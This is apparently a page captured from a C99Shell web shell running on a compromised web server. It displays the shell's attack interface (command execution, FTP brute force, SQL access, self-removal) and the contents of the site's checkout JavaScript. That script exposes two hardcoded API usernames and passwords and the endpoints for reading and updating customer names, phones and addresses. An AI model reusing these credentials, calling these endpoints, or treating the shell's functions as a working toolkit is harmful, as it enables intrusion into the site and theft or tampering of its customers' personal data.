!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/checkout/js/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     profile.js (7.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var district_error=true;
var upazila_error=true;
var address_error=true;
var customer_info;
var form_disabled = false;

var auth={
    "Authorization": "Basic " + btoa("Mongo_API"+":"+"jiFFMongo@2023!@!@!@")
};
$(document).ready(function(){
    var url=window.location;
    var url_string = new URL(url).searchParams.get("id");
    var page_psid=url_string.split('_');
    var page_id=page_psid[0];
    var psid=page_psid[1];
    $("#district").select2();
    $("#upazila").select2();
    $("#district_error").hide();
    $("#upazila_error").hide();
    $("#address_error").hide();
    // $('#th2').click();
    $.ajax({
        type: 'get',
        url: 'https://checkout.jiff.live/api/mongo/customers?psid='+psid+'&page_id='+page_id,
        headers:auth,
        success: function (data, status, xhr) {
            if (data) {                
                customer_info=data;
                $("#inputName").val(data.name);
                $("#inputNumber").val(data.phone);
                $("#address_label").val(data.address);
                
                // if (data.address!=="") {
                //     address_error=false;
                // }
                // if (data.district_id!==0) {
                //     district_error=false;
                // }
                // if (data.zone_id!==0) {
                //     upazila_error=false;
                // }
                if (data.district_id && data.district_id!==0) {
                    district(data.district_id);
                    getUpazillas(data.district_id,data.zone_id);
                    district_error=false;
                    upazila_error=false;
                    address_error=false;
                }else{
                    district();
                    getUpazillas();
                }

            }

        }
    });
    function district(value=0) {
        
        $.ajax({
            type: 'get',
            url: 'https://api.jiff.live/districts',
            // headers:auth,
            success: function (dt, status, xhr) {
                var data=dt.data;
                for (let i = 0; i < data.length; i++) {                                        
                    $('#district').append(`<option value='${data[i].id}' data-extra='${data[i].city_id}'>${data[i].name}</option>`); 
                }
                $('#district').val(value);
                $('#district').trigger('change'); 
                $('#district').val(value);
                $('#district').trigger('change'); 
                // $('#district').trigger({
                //     type: 'select2:select',
                //     params: {
                //         data: {
                //             id:9
                //         }
                //     }
                // });
            }
        });
    }
    // $('#district').val('0').trigger('change');

});

$('#district').on('select2:select', function (e) {
    var value= $(this).val();
    if (value==="0") {
        district_error=true;
        $("#district_error").show();
    }else{
        district_error=false;
        $("#district_error").hide();
    }
    var id = e.params.data.id;    
    $('#upazila').empty();
    
    var newOption = new Option("Select Zone", '0', true, true);
    $('#upazila').append(newOption);
    
    if (value!=="0") {
        getUpazillas(id,0);
    }
    $('#upazila').val('0').trigger('change');

});
$('#upazila').on('select2:select', function (e) {
    var value= $(this).val();
    if (value==="0") {
        upazila_error=true;
        $("#upazila_error").show();
    }else{
        upazila_error=false;
        $("#upazila_error").hide();
    }
});
function getUpazillas(id=0,zone_id=0) {        
    if (id!==0) {
        $.ajax({
            type: 'get',
            url: 'https://api.jiff.live/upazilas?district_id='+id,
            // headers:auth,
            success: function (dt, status, xhr) {
                var data=dt.data
                for (let i = 0; i < data.length; i++) {            
                    // var newOption = new Option(data[i].name, data[i].id, true, true);
                    // $('#upazila').append(newOption);
                    var newOption = new Option(data[i].zone_name, data[i].zone_id, true, true);
                    $('#upazila').append(newOption);
                }
                if (zone_id) {
                    $('#upazila').val(`${zone_id}`).trigger('change');
                }else{
                    $('#upazila').val('0').trigger('change');
                }
            }
        });
    }
}
$('#address_label').on ('keyup',  function (e) {
    var val=$(this).val();
    if (val.length < 10) {
        address_error=true;
        $("#address_error").show();
    }else{
        address_error=false;
        $("#address_error").hide();
    }
});

function formSubmit() {
    if (form_disabled) return; 
    const inpObj = document.getElementById("form_data");
     var district=$("#district").val();
    var upazila=$("#upazila option:selected").val();
    if (district==="0") {
        district_error=true;
        $("#district_error").show();
    }
    if (upazila=="0") {
        upazila_error=true;
        $("#upazila_error").show();
    }
    var address=$("#address_label").val();
    if (address.length<10) {
        address_error=true;
        $("#address_error").show();
    }
    if (district_error==true || upazila_error==true || address_error==true ) {
        swal("","Please fill up the above information correctly", "error");
    }else{
        var form_data={
            "name": $("#inputName").val(),
            "email": $("#inputEmail").val(),
            'district_id': $("#district").val(),
            'zone_id': $("#upazila").val(),
            // "phone": customer_info.phone,
            "address": $("#address_label").val(),
        }
        $.ajax({
            type: 'put',
            url: 'https://api.jiff.live/customers_info/'+customer_info.id,
            headers:{
                "Authorization": "Basic " + btoa("Jiff_DataServer"+":"+"jiFFDataServer@2023!@!@!@")
            },
            // crossDomain: true,
            // xhrFields: {
            //   withCredentials: true,
            // },
            data: form_data,
            success: function (data, status, xhr) {
                swal("","Information updated Successfully", "success");
                                // disable submit controls to prevent further submits
                form_disabled = true;
                $('#form_data').find('button[type="submit"]').prop('disabled', true).text('Submitted');
                $('#form_data').find('input[type="submit"]').prop('disabled', true).val('Submitted');

                // updateMongo(form_data)
                // alert(data.error);
                // console.log(data);
            }
        });
    }
}
function updateMongo(form_data) {
    // console.log(form_data);
    // form_data.psid=customer_info.psid;
    // form_data.page_id=customer_info.page_id;

    $.ajax({
        type: 'post',
        url: 'https://checkout.jiff.live/api/mongo/customers_info?psid='+customer_info.psid+"&page_id="+customer_info.page_id,
        headers:auth,

        // crossDomain: true,
        // xhrFields: {
        //   withCredentials: true,
        // },
        // data: form_data,
        data: JSON.stringify(form_data),
        contentType: 'application/json',
        success: function (data, status, xhr) {
            swal("","Information updated Successfully", "success");
        }
    });
}



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--